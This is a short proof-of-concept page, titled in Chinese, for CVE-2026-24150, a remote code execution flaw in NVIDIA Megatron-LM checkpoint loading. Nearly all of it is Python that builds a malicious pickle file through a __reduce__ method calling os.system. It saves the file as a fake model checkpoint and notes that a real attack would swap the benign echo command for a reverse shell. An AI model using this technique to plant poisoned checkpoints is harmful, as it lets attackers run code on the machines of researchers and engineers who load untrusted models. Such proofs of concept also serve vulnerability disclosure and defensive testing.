CVE-2026-24150 NVIDIA Megatron-LM 检查点加载RCE漏洞

import pickle import os # Define a malicious class to execute code on unpickling class MaliciousCheckpoint: def __reduce__(self): # Execute a shell command (e.g., id) when the object is loaded # In a real attack, this would be a reverse shell connection return (os.system, ('echo "Vulnerable to RCE via Checkpoint Loading"',)) # Create the malicious payload payload = MaliciousCheckpoint() # Save the payload to a file (simulating a checkpoint file) filename = 'malicious_model_checkpoint.pt' with open(filename, 'wb') as f: pickle.dump(payload, f) print(f"[+] Malicious checkpoint file '{filename}' generated successfully.") print(f"[+] When loaded by Megatron-LM, it will execute the system command.")